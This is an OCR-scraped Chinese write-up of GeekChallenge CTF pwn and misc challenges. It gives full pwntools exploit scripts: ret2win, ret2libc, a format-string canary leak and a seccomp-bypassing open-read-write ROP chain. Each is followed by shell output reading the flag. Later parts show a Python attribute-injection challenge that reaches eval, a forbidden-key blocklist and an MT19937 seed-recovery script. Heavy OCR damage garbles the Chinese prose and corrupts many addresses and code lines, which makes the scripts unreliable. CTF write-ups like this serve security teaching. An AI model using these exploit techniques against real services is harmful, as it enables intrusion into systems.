SYC{m4th-15s8-435y-0819a8d23a3f37eb9b28f519046d4edcb}

X |

SYC{m4th-15s0-435y-

019a8d23a3f37eb9b28F519046d4e4ch}

® [pwn] Mission Cipher Text

BRI, AR

size_t submit_feedback()
_BYTE buf[32]; // [rsp+6h] [rbp-20h] BYREF
puts(“Please enter your feedback:");
close(1);

read(®, buf, @xleeullL);
return fwrite("\x1B[1m\x1B[95mwe are here waiting for you\x1B[@m\n", 1luLL, ©x29uLL, stderr);

int b4ckdeer()
{

return system("/bin/sh");

}

HEEEZ ret hitmidd 7, A A—AVNREZ: stdout (1) 8



XRT, —EN stdovt HWABTTRAL2ETR, R
stderr (2)ZA#H X, TUA 1>&2  stdout BIREKE
stderr L3I, %AW exp:

pwn
io = connect('geek.ctfplus.cn', 31054)
io.sendafter(b'choice > ', b'2\n")
io.send(cyclic(0x28)+p64(0x40101a)+p64(0x4014AB))

io.interactive()

[+] Opening connection to geek.ctfplus.cn on port 31337: Done
[*] Switching to interactive mode

Please enter your feedback:

we are here waiting for you

$ cat flag 1>8&2
SYC{w3-4r3-w4tchln9-019a8d28cb56727fb60T0eec043e3ae70}

SYC{w3-4r3-w4tchln9-

019a8d28ch56727fb60fBeeB43e3ae70}

® [pwn] Mission Exception Registration

BB RmFOHND, ZIXEL puts a93bhtbz TR, it
URR, BEWERT XA



int register_user()

if ( *((_DWORD *)ptr + 12) != -1 )
return puts("You have already registered.");
*((_DWORD *)ptr + 12) = 2;
puts("Please enter your name:");
read(@, ptr, exleuLL);
puts("Please enter your password:");
read(e@, (char *)ptr + 16, 6x28uLlL);
*((_DWORD *)ptr + 13) = 1;
*((_QWORD *)ptr + 7) = &puts;
return puts("Registration successful.");

EREXEZIRT XA E (L@Eey 7 2 QWORD ey, A
BYTE & 7%8=56)

ssize_t view_resources()

login();
if ( *((_DWORD *)ptr + 12) )

puts("WELCOME, USER.");
return write(1l, &ptr, B8ull);
}

else

{

puts(
"Recently, our researchers successfully captured and reproduced the matrix of human thought activity and used it as"
" a model to successfully create an independent personality matrix from scratch. This would be a great technologica"
"1 advancement. However, the Scientific Ethics Committee believes that this may be unethical and is currently evalu"
"ating the risks of this technology.");

puts("WELCOME, ADMINISTRATOR.");

return write(l, (char *)ptr + 56, 8uLlL);

BT A B AT 1L (DWORD) ptr+12 By L ek 0, BEEAEWMEMBKT

EZIGoR A E L AR EM R, EERERN 2, 5B KK
LB —T, AIVFMEFELZ T 8bytes B ANZIE, X

|_inté4 login()

8bytes M|4F7& = (DWORD) ptr+12 C o 6w (3205 1/ Crepeon] [rop-aon] BvacE

if ( *((_DWORD *)ptr + 12) == -1 )

S Sk puts("Please register first.");
FrOCEMET 5 R /E 8bytes @5 O gh | o

else
{
] DUB AN 77 UK O oo, oor analy T
if ( Istremp(buf, (const char *)ptr + 16) )
{

puts("Login successful.");
return 1LL;

B/S 3R X feedback B9y, H—AN :1

puts("Incorrect password.");
return OLL;

e, B ret2libc 7 .

b



pwn

context(log_Llevel="debug")

io = connect('geek.ctfplus.cn', 31584)

libc ELF('libc.so.6")
.sendafter(b'choice >> ', b'1\n")
.sendafter(b'name:\n', b'\n")

.sendafter(b'password:\n', b'\xe0" 28)

.sendafter(b'choice >> ', b'3\n")
.send(b'\xe0" 20)

io.recvuntil(b'ADMINISTRATOR.\n")
real puts = u64(io.recv(8))

libc _base = real puts libc.sym[ 'puts']
log.debug(f'Libc base addr: {libc_base:x}")

pop_rdi_ret = libc_base 2a3e5
ret = libc_base 29cd6

io.sendafter(b'choice >> ', b'2\n")

io.sendafter(b'feedback:\n',
cyclic(©x18)+p64(pop_rdi_ret)+p64(libc_base+next(libc.search(b'/bin/sh'
)))+p64(ret)+p64(libc_base+libc.sym[ 'system']))

io.interactive()

Feedback submitted.[DEBUG] Received ©x1 bytes:
b'\n"

$ cat /flag
[DEBUG] Sent ©xa bytes:
b'cat /flag\n'
[DEBUG] Received ©x39 bytes:
b'syc{fer-3tern4l-futur3-819a8d32d65470e0@9abaeed4fd5ccf6f}\n’
SYC{fer-3tern4l-futur3-019a8d32d65470e@9abaced40fd5ccfef}




SYC{fOr-3tern4l-futur3-

019a8d32d65470e09abaee4Bfd5ccfof}

® [pwn] RAZE

LERRmIF, AR

int last_love()

{

puts("I know you pretend to love me , but this's enough");
puts("I leave something you want,and Farewell");
return system("/bin/sh");

}

A EH, AEARERRET

int leave()

{
char dest[32]; // [rsp+6h] [rbp-286h] BYREF

strcpy(dest, buffer);
if ( stremp(dest, "love") )
return puts("it's all of you");

puts(“"yes I wait for you forever");
return read(@, buffer, 256uLL);

Frl etz /e buffer E5 XN love\d, F|F leave By read 5§
A payload, ZEERE leave #HITHH, BUTEIT, 28

exp:

pwn
context(log Llevel="debug")
io = connect('geek.ctfplus.cn', 30643)

backdoor 4012B3 5




40101a

.sendafter(b'>> : ', b'3\n")
.sendafter(b'love \n', b'love\x@0\n'")
.sendafter(b'>> : ', b'1\n")

.sendafter(b'forever\n', cyclic(9x28)+p64(backdoor)+b'\n")
.sendafter(b'>> : ', b'2\n")
.sendafter(b'prayer', b'yes\n")

.interactive()

b'I leave something you want,and Farewell\n'
it's all of you
I know you pretend to love me , but this's enough
I leave something you want,and Farewell
$ cat /flag
[DEBUG] Sent exa bytes:
b'cat /flag\n'
[DEBUG] Received ©x3c bytes:
b'SYC{runasama_no_purezento:019a8d3ddcaa7b658fa7dd4dc88b7beb}\n"
SYC{runasama_no_purezento:019a8d3ddcaa7b658fa7dd4dc88b7beb}

SYC{runasama_no_purezento:019a8d3ddcaa7bh658fa7dd4

dc88b7h0Bb}

® [pwn] Mission Transponder
XEE I 20 BB Z 200 LA

[*] '/mnt/d/PiYuanZhouLv/sl/GeekChallenge/pwn/transponder/pwn’
Arch: amdéd-64-little
RELRO: Partial RELRO

Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped:

PN ELRS T



1 unsigned __inté4 repeater() |

2q
3 char buf[48]; // [rsp+8h] [rbp-38h] BYREF

4 unsigned __inte4 v2; // [rsp+28h] [rbp-8h]
5

6 v2 = __readfsqword(ex28u);

7 puts("data:");

2 read(®, buf, @x4euLl);

9  printf("%s", buf);

18 puts("logs:");

11 read(e, buf, exz2eeuLL);

12 return v2 - __readfsqword(ex28u);
13}

1 nsigned _ int64 repeat_error()

char buf[8]; // [rsp+8h] [rbp-18h] BYREF
unsigned __inte4 v2; // [rsp+8h] [rbp-8h]

puts("data:");
read(@, buf, 8ulLL);
S  printf(buf);
16 read(@, buf, ex2euLL);
11 return v2 - __readfsqword(@x28u);

3
4
5
6 v2 = __readfsqword(@x28u);
7
8

—/N fmt

1 void gift()

2 {
3 __asm { syscall; LINUX - }

4}

# T AN syscall

0002006 db e

eee2ee7 db e

0002008 aFlag db "./flag',@ ; DATA XREF: .data:magic_spelllo
000200F ; const char s[]

©00200F s db 'data:’',® ; DATA XREF: repeat_error+l7to
000200F ; repeater+l7fto

A flag K2

#H% 7T libseccomp, H seccomp-tools dump —TF



$ seccomp-tools dump ./pwn
line CODE JT JF K

0000: Ox20 Ox00 Ox00 Ox00000004 A = arch

0001: Ox15 Ox00 O0x08 OxcPOEOO3e if (A * ARCH_X86_64) goto 0010
0002: Ox20 Ox00 Ox00 Ox0PEEOEEO A = sys_number

0003: 0x35 Ox00 O0x01 Ox4EEEEEEO if (A < Ox400EEEEO) goto 0OOS5

0004: O0x15 Ox00 Ox05 Oxffffffff if (A Oxffffffff) goto 0010
0005: Ox15 Ox03 Ox00 OxOPEEEEEO if (A read) goto 0009

0006: Ox15 Ox02 Ox00 Ox00000001 if (A == write) goto 0009
0007: O0x15 Ox01 Ox00 Ox00EEEE02 if (A open) goto 0009

0008: Ox15 Ox00 Ox01l Ox0EEEE3c if (A exit) goto 0010

0009: Ox06 OxO0 Ox00 Ox7fffOOCO return ALLOW

0010: Ox06 Ox0O OxO0 OxPOEEEEEEO return KILL

fRBA & 2L A7 ORW
B&E—T gadgets
$ ROPgadget --binary pwn --only "pop|ret"
Gadgets information
Ox00000000000011b4d : pop rbp ; ret

0x000000000000101a : ret
0x0000000000001042 : ret Ox2f

Unique gadgets found: 3

...... MRSZ AT XA S 8o

TaEMI—T, BXEF2¥E repeater, BRF—NEH, &
1= LUK canary, SEoANGH, HATAT A ret B|RATE 28930
7. R ret 3| fmt ARBREF A4, Llibe HEib, BEEHTERF
HEubRan, FRERFLIENAN, RAXR1/10, RFREE fut
A LURM AR 7 &EuE, libe Eib, RAEwT A libe B8
gadgets, REFF LM ret2syscall T~F R libe B9
gadgets ZRZ A pop rdx; ret;, RiFER
puts(seccomp_init_got)#y Ak Libseccomp #y&at,



AT T BI1EEM gadgets, REE ORWHLFT, L exp:

pwn
context(log_Llevel="debug")

libc ELF('./libc.so.6")

libseccomp = ELF('./libseccomp.so.2")
elf = ELF('./pwn")

io = connect('geek.ctfplus.cn', 30931)

io.sendafter(b'data:\n', b'A" 1)
io.recvuntil(b'|")

canary = u64(b'\@'+io.recv(7))
io.debug(f'Canary: {hex(canary)}")
fmt_leak_addr 11E3

io.sendafter(b'logs:\n',
28+p64(canary)+b'A' *8+fmt_leak_addr.to bytes(2, 'little'))

io.sendafter(b'data:\n', b'%14$p|\n")
real_main = int(io.recvuntil(b']|"', ), 16)
elf base = real_main - elf.sym['main']
log.info(f'elf base: {hex(elf_base)}"')

io.send(b'A'*8+p64(canary)+b'A"'*8+p64(elf.sym[ 'repeat_error']+el
f _base))
io.sendafter(b'data:\n', b'%29%p|\n")
real_libc_start_main_p 137 = int(io.recvuntil(b'|', ), 16)
libc_base = real libc_start _main_p 137
(libc.sym[' _1libc_start_main']+137)

log.info(f"'libc base: {hex(libc_base)}")




flag addr 2008 + elf base
syscall ret 11dd + elf_base
pop_rdi_ret 102dea libc_base
pop_rax_ret d4af97 libc_base
pop_rsi_ret 53887 libc_base
bss 4100 + elf_base

puts_plt 1050 + elf base
seccomp_init_got 4000 + elf _base

io.send(b'A'*8+p64(canary)+b'A"'*8+p64(elf.sym[ 'repeater']+elf_ba

io.sendafter(b'data:\n’', b*'\n")
io.sendafter(b'logs:\n’,
A’ 28+p64(canary)+b'A* *8+p64(pop_rdi_ret)+p64(seccomp_init_got)+p64
(puts_plt)+p64(elf.sym[ 'repeater']+elf_base))
real_seccomp_init = u64(io.recvuntil(b'\n", ).1just(8,
"\e"))
libseccomp_base real_seccomp_init
libseccomp.sym[ 'seccomp_init"']
log.info(f'libseccomp base: {hex(libseccomp_base)}")

pop_rdx_ret 2287 libseccomp_base

io.sendafter(b'data:\n’', b*\n")
payload A 28+p64(canary)+b A’ *8
payload p64(pop_rax_ret) p64(2) p64(pop_rdi_ ret)
p64(flag_addr) p64(pop_rsi_ret) p64(0) p64(pop_rdx_ret) p64(0)
p64(syscall ret)
payload p64(pop_rax_ret) p64(0) p64(pop_rdi_ ret) p64(3)
p64(pop_rsi_ret) p64(bss) p64(pop_rdx_ret) p64(100)
p64(syscall ret)
payload p64(pop_rax_ret) p64(1) p64(pop_rdi_ ret) p64(1)
p64(pop_rsi ret) p64(bss) p64(pop_rdx_ret) p64(100)
p64(syscall ret)
io.sendafter(b'logs:\n", payload)

io.interactive()

io.close()




[DEBUG] Received ex64 bytes:
@eeeoeee 53 59 43 7b 37 72 34 63 SYC{|7r4c k3r_|tris
oeeeeele 67 33 72 65 64 5f 3@ 31 g3re|d_01 9aa7|4cfc
eeeeee20 61 30 37 65 35 33 62 35 a@7e|53b5 1512 |5ad3
00000036 32 38 35 61 39 31 7d @a 2 285a(91}- B---
eeeeee4e ©0 o0 6o 6@ oo oo ee ee ssco|eaa aooc
2oooeese 4f 0@ 6. oo 00 ee e Q---

00P0PEBEE ©6 P BB 68

eeeeeesd
SYC{7r4ck3r_trl9g3red_@19aa74cfca@7e53b515125ad3285a91}
B\xee\xee\xee\x12\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\|
e reading in interactive
$
[*] Interrupted
[*] Closed connection to geek.ctfplus.cn port 38931

SYC{7r4ck3r_trl9g3red_019aa74cfca®7e53b515125ad32

85a91}

ﬂﬁ B F iR e

tools
Human:
__init_ (self, name: str):
self.name name
self.alive

__del (self):

print(f"[SAFE __del ] {self.name} deleted.")

Father(Human):

__init_ (self, child_name: str):

super().__init_ (child_name)
self.seen_ice

Colonel(Father):
__init_ (self):
super(). init ("Aureliano Buendia")
self.stage = ©
self.logs ]
self.timeline




"HRIE: WREDE, XTI, ERK [ WARUKE AR

"EARME X s EEH.

"PREEI % EACTE B R (AR SRR o 7,
"fEATIESE: T SR, ",

"TRHATIRIBA . A is i EOA R R,

"SR s IR AT

current_event(self):
0 self.stage < len(self.timeline):
self.timeline[self.stage]
"IN EAETOBR LT

advance(self):
self.stage < len(self.timeline)
self.stage 1

self.stage 3:
weapon = getattr(self, "weapon", "spear"
tactic = getattr(self, "tactic", "ambush"

self.weapon = weapon

self.tactic = tactic

self.logs.append(f"Fff: ERATH {weapon}, KHU {tactic} 5
B LA ... ")

self.logs.append(f" (_L# K] weapon J& PE#IRE A {weapon}, tactic J&
P IRAE N {tactic})")

self.current_event()

make_choice(self, choice_input):
json
tools contains_forbidden_key
isinstance(choice_input, dict):
ValueError ("{X>ZHF JSON XFRHA")
contains_ forbidden_ key(choice input):
ValueError ("84 & A VR R S8 ")
self.logs.append(f" FA&iEFE: {json.dumps(choice_input,
ensure_ascii )
merge(choice input, self)
self.logs.append("EFH AR ")

ExecutionSquad(Human) :
__init_ (self):




super()._init ("Execution Squad")

execute(self, target: Colonel):

target.logs.append ("fTHIBN: FFEEHATFIHR. ™)
target.logs.append ("fTHIBA Ak A& T N K")
target.logs.append("IWFt 27T, LA HYEHAEAT BN S, b1l 5%

target.logs.append(getattr(self, "execute_method", ))
target.logs.append("iX7& A H 5 UOREIHA ] execute_method J&

method = getattr(self, "execute_method",

result = eval(method)(executor=self, target=target)|[2]
Exception e:

print(e)

result = "AbERFEHE"

target.logs.append(str(result))

tools.py |

parse_choice(text: str) -> dict:
payload: dict = {}

set_path(root: dict, path: str, value):
parts ) p path.split('.") pl
cur root
parts[:-1]:
p cur isinstance(cur[p], dict):
cur[p] = {}
cur = cur[p]

cur[parts[-1]] value

part re.split(r'[;\n]+", text):
part part.strip()
part:
=k part:
k, v = part.split('=", 1)

set_path(payload, k.strip(), v.strip())

set path(payload, part, )




payload

merge(src, dst):
k, v src.items():
hasattr(dst, ' getitem_'):
has_key (hasattr(dst, 'get') dst.get (k)
(k dst)
has_key isinstance(v, dict):
target = dst.get(k) hasattr(dst, 'get')
merge(v, target)

dst[k] = v
hasattr(dst, k) isinstance(v, dict):
merge(v, getattr(dst, k))

setattr(dst, k, v)

contains_forbidden_key(obj, forbidden=("__init__","jinja","jinja2",
"static", "templates™, "app")):
_check(o):
isinstance(o, dict):
k, v in o.items():
kl = str(k).lower()

any(bad k1l bad forbidden):
_check(v):
isinstance(o, list):

item o:
_check(item):

_check(obj)

mi_l another_flower BIAHE (¥KSR)

re
decimal Decimal

f = open('my_treel.ps')




content = f.read()

acts = re.findall(r'~-2\d+(?:\.\d+)? -?\d+(?:\.\d+)? (?:move|line)to$’,
content, re.M)

draws
current ]
act acts:
"moveto’ act current:
draws.append(current)
current act]

current.append(act)
draws.append(current)

test_draw(acts, reset , mainloop
turtle
reset:
turtle.reset()
act acts:
act.split():
X, Yy, 'moveto':
print('moveto’, x, y)
turtle.pu()
turtle.setpos(float(x), float(y)-346)
X, Yy, 'lineto':
print('lineto’, x, y)
turtle.pd()
turtle.setpos(float(x), float(y)-346)
mainloop:
turtle.mainloop()

draws len(i)==2]

len(1lines) 2*¥*13-1

line_to_dist_angle(line):
math




x1, yl1 = map(D, line[@].split(' ')[:2])
x2, y2 = map(D, line[1].split(' ')[:2])
dx, dy = x2-x1, y2-yl
(dx**2+dy**2).sqrt(), D(math.degrees(D(math.atan2(dy, dx))))

dist_angles = list(map(line_to_dist_angle, lines))

Parser:
__init  (self):

parse(self, dist_angles, n):
dist, angle = dist_angles.pop(0)
n Q:
(dist_next, ang_r), rands_r = self.parse(dist_angles, n-1)
(dn2, ang_ 1), rands_1 = self.parse(dist_angles, n-1)
(dist_next - dn2) le-9, f'{dist_next - dn2:=}"
b = ((angle - ang_r) 360 + 360) % 360
randb = round((b-10)/15%2%*32)
10 b < 25, f'{b=}"
¢ ((ang_l - angle) 360 + 360) % 360
randc round((c-10)/15%2%*32)
10 c < 25, f'{c=}"'
drate = (dist_next/dist-D(0.7))*4
O<=drate<1
randd = round(drate*2**32)
(dist, angle), [randb, randc, randd]+rands_l+rands r

(dist, angle), []

parser = Parser()
_, rands = parser.parse(dist_angles, 12)
rands i>>16 i rands]

random
gf2bv LinearSystem
gf2bv.crypto.mt MT19937
Crypto.Util.number
mt19937(bs, out):
lin = LinearSystem([32] 624)
mt = lin.gens()

rng = MT19937(mt)




zeros rng.getrandbits(bs)
80000000 ]
print("solving...")

sol = lin.solve_one(zeros)
sol
rng = MT19937(sol)
pyrand = rng.to_python_random()

pyrand.getstate()[1]

_int32(x):
int(exFFFFFFFF & X)

_re_init_by array_part(index, mt, multiplier):
_int32((mt[index]+index) (mt[index-1] mt[index-1] 30)
multiplier)

_init genrand(seed,mt):
mt[0] seed
i range(1l, 624):
mt[i] = _int32(1812433253 * (mt[i - 1] ~ mt[i - 1]

re_init_by array(mt
mt 3

seed = random.randint(@, 2**32-1)

RNG = random.Random(seed)

_, mt, _ = RNG.getstate()

tmp _re_init_by_array_part(i, mt[:-1], 1566083941)
622,623]]

original mt 0] 624
_init_genrand(19650218, original_mt)

predict_seed = _int32(tmp[-1] - _int32((tmp[-2] (tmp[-2] 30))
1664525 ~ original mt[-1]))
"seed" locals():
print(predict_seed, seed)
print(predict_seed seed 7% 2%%32)

predict_seed

seed = re_init_by_array(mt19937(16, rands))




print('success!', seed)

XEBEEAMBAK—IROME MT19937 IR B PR, H—IH 2L
JR seed, EERARBAHRE XM seed RKHEIEIR, SFRE
seed #ORH R

4



